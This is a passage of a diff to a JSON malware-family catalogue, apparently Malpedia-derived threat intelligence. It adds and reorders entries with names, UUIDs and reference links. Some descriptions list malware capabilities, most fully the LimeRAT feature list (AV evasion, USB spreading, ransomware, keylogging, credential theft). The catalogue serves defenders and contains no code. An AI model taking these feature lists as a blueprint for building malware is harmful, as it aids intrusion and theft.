"https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", - "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html" + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", + "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d1e548b8-4793-11e8-8dea-6beff82cac0a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2fc93875-eebb-41ff-a66e-84471c6cd5a3", "value": "Kwampirs" }, + { + "description": "According to its self-description, Ladon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection and one click getshell. It supports batch a segment / b segment / C segment and cross network segment scanning, as well as URL, host and domain name list scanning.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon", + "https://github.com/k8gege/Ladon", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5c63623b-aa84-41a5-9e3e-f338edf72291", + "value": "Ladon" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer", - "https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/", "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", "https://twitter.com/luc4m/status/1276477397102145538", + "https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/", "https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/" ], "synonyms": [], @@ -29239,13 +30791,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert", - "https://www.youtube.com/watch?v=jeLd-gw2bWo", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", - "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://ti.qianxin.com/blog/articles/network-weapons-of-cia/", "https://twitter.com/_CPResearch_/status/1484502090068242433", - "https://ti.qianxin.com/blog/articles/network-weapons-of-cia/" + "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.youtube.com/watch?v=jeLd-gw2bWo", + "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/" ], "synonyms": [ "Plexor" @@ -29268,29 +30820,34 @@ "uuid": "da79cf10-df9f-4cd3-bbce-ae9f357633f0", "value": "Lamdelin" }, + { + "description": "Clipboard stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas", + "https://twitter.com/Gi7w0rm/status/1604999633792647169", + "https://blog.cyble.com/2022/11/02/new-laplas-clipper-distributed-by-smokeloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cc2c0c2a-b233-4d51-9e0a-ae91043c952c", + "value": "LaplasClipper" + }, { "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot", "https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/", - "http://malware-traffic-analysis.net/2017/04/25/index.html", + "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access", "https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html", - "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/", - "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access" + "http://malware-traffic-analysis.net/2017/04/25/index.html", + "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "635d260f-39d9-4d3f-99ec-d2560cb5d694", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7fc74551-013f-4dd1-8da9-9266edcc45d0", "value": "LatentBot" }, @@ -29307,14 +30864,56 @@ "uuid": "e1958a69-49c3-43a2-ba80-6e5cd5bbcd13", "value": "Laturo Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor", + "https://asec.ahnlab.com/ko/40495/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1045b4f1-5a85-4448-a7a9-abc964bdae72", + "value": "LazarDoor" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader", + "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "42bce8d3-8705-44fb-bd88-4af16c6bd28f", + "value": "LazarLoader" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/", + "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + ], + "synonyms": [ + "KillDisk.NBO" + ], + "type": [] + }, + "uuid": "6f377d0b-9eaa-474c-8cf8-0718ee2b0efc", + "value": "KillDisk (Lazarus)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok", "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector", - "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802", - "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken" + "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken", + "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802" ], "synonyms": [], "type": [] @@ -29341,10 +30940,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot", - "https://securelist.com/lazarus-trojanized-defi-app/106195/", + "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", - "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/" + "https://securelist.com/lazarus-trojanized-defi-app/106195/", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf" ], "synonyms": [], "type": [] @@ -29352,6 +30951,19 @@ "uuid": "23dd327e-5d1d-4b75-993e-5d79d9fc0a70", "value": "LCPDot" }, + { + "description": "A further branch of the URSNIF collection of malware families. According to Mandiant, it no longer has focus on banking fraud but generic backdoor capabilities instead.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4", + "https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c429622f-cbdf-47d6-88e8-091283ed5703", + "value": "LDR4" + }, { "description": "Ransomware.", "meta": { @@ -29384,19 +30996,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck", "https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/", - "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", - "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", - "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", - "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", "https://cybotsai.com/lemon-duck-attack/", "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/", - "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", - "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", - "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", - "https://success.trendmicro.com/solution/000261916", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://asec.ahnlab.com/en/31811/" + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", + "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", + "https://asec.ahnlab.com/en/31811/", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", + "https://success.trendmicro.com/solution/000261916" ], "synonyms": [], "type": [] @@ -29425,9 +31037,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic", + "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html", "http://www.malware-traffic-analysis.net/2017/11/02/index.html", - "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/", - "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html" + "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/" ], "synonyms": [], "type": [] @@ -29448,15 +31060,28 @@ "uuid": "007697bc-463e-4f90-93e3-8f8fdeff147a", "value": "LetMeOut" }, + { + "description": "LgoogLoader is an installer that drops three files: a batch file, an AutoIt interpreter, and an AutoIt script. After downloading, it executes the batch file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lgoogloader", + "https://blog.polyswarm.io/nullmixer-drops-multiple-malware-families" + ], + "synonyms": [], + "type": [] + }, + "uuid": "edf1bb94-cc6b-46fd-a922-18fd2a0f323f", + "value": "LgoogLoader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html", - "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", - "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media" + "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/" ], "synonyms": [ "LEMPO" @@ -29466,19 +31091,32 @@ "uuid": "ed825d46-be1e-4d36-b828-1b85274773dd", "value": "Liderc" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny", + "https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ea790924-8a81-4141-9e5c-14a205af170f", + "value": "LIGHTBUNNY" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron", - "https://securelist.com/apt-trends-report-q2-2018/86487/", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", - "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" ], "synonyms": [ "NETTRANS", @@ -29521,15 +31159,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith", - "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", - "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", "https://github.com/werkamsus/Lilith", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf" + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" ], "synonyms": [], "type": [] @@ -29563,26 +31202,41 @@ "uuid": "3819bc21-8c15-48ee-8e68-ee2a0c5f82a7", "value": "limeminer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.limepad", + "https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0cae4bcd-9656-434d-81c1-c55801b3eaa3", + "value": "LimePad" + }, { "description": " ## Description\r\n Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves. \r\n \r\n ---\r\n\r\n## Main Features\r\n\r\n- **.NET**\r\n - Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0\r\n- **Connection**\r\n - Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports\r\n- **Plugin**\r\n - Using plugin system to decrease stub's size and lower the AV detection\r\n- **Encryption**\r\n - The communication between server & client is encrypted with AES\r\n- **Spreading**\r\n - Infecting all files and folders on USB drivers\r\n- **Bypass**\r\n - Low AV detection and undetected startup method\r\n- **Lightweight**\r\n - Payload size is about 25 KB\r\n- **Anti Virtual Machines**\r\n - Uninstall itself if the machine is virtual to avoid scanning or analyzing \r\n- **Ransomware**\r\n - Encrypting files on all HHD and USB with .Lime extension\r\n- **XMR Miner**\r\n - High performance Monero CPU miner with user idle\\active optimizations\r\n- **DDoS**\r\n - Creating a powerful DDOS attack to make an online service unavailable\r\n- **Crypto Stealer**\r\n - Stealing Cryptocurrency sensitive data\r\n- **Screen-Locker**\r\n - Prevents user from accessing their Windows GUI \r\n - **And more**\r\n - On Connect Auto Task\r\n\t- Force enable Windows RDP\r\n\t- Persistence\r\n - File manager\r\n - Passowrds stealer\r\n - Remote desktop\r\n - Bitcoin grabber\r\n - Downloader\r\n - Keylogger", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", - "https://github.com/NYAN-x-CAT/Lime-RAT/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", - "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://www.youtube.com/watch?v=x-g-ZLeX8GM", + "https://any.run/cybersecurity-blog/limerat-malware-analysis/", + "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://www.youtube.com/watch?v=x-g-ZLeX8GM", + "https://github.com/NYAN-x-CAT/Lime-RAT/", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/" ], "synonyms": [], "type": [] @@ -29620,8 +31274,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [], "type": [] @@ -29648,9 +31302,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp", - "https://viriback.com/recent-litehttp-activities-and-iocs/", + "https://malware.news/t/recent-litehttp-activities-and-iocs/21053", "https://github.com/zettabithf/LiteHTTP", - "https://malware.news/t/recent-litehttp-activities-and-iocs/21053" + "https://viriback.com/recent-litehttp-activities-and-iocs/" ], "synonyms": [], "type": [] @@ -29658,121 +31312,152 @@ "uuid": "2f9e1221-0a59-447b-a9e8-bedb010cd3d8", "value": "LiteHTTP" }, + { + "description": "According to PCrisk, LOBSHOT is a type of malware with a feature called hVNC (Hidden Virtual Network Computing) that allows attackers to access a victim's computer without being noticed. The hVNC component is effective in evading fraud detection systems. Also, LOBSHOT is being used to carry out financial crimes through the use of banking trojan and information-stealing functionalities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot", + "https://www.elastic.co/de/security-labs/elastic-security-labs-discovers-lobshot-malware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c30db30e-e29a-4f62-bda0-c284fa7c6f6d", + "value": "LOBSHOT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit", - "https://www.ic3.gov/Media/News/2022/220204.pdf", - "https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/", - "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/", - "https://id-ransomware.blogspot.com/search?q=lockbit", - "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant--lockbit-3-.html", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", "https://www.intrinsec.com/alphv-ransomware-gang-analysis", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions", + "https://asec.ahnlab.com/en/35822/", + "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://id-ransomware.blogspot.com/search?q=lockbit", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers", + "https://asec.ahnlab.com/en/41450/", + "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", + "https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware", + "https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness", + "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://blogs.vmware.com/security/2022/10/lockbit-3-0-also-known-as-lockbit-black.html", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", + "https://security.packt.com/understanding-lockbit/", + "https://analyst1.com/ransomware-diaries-volume-1/", + "https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354", - "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", - "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques", - "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", "https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/", - "https://www.connectwise.com/resources/lockbit-profile", - "https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + 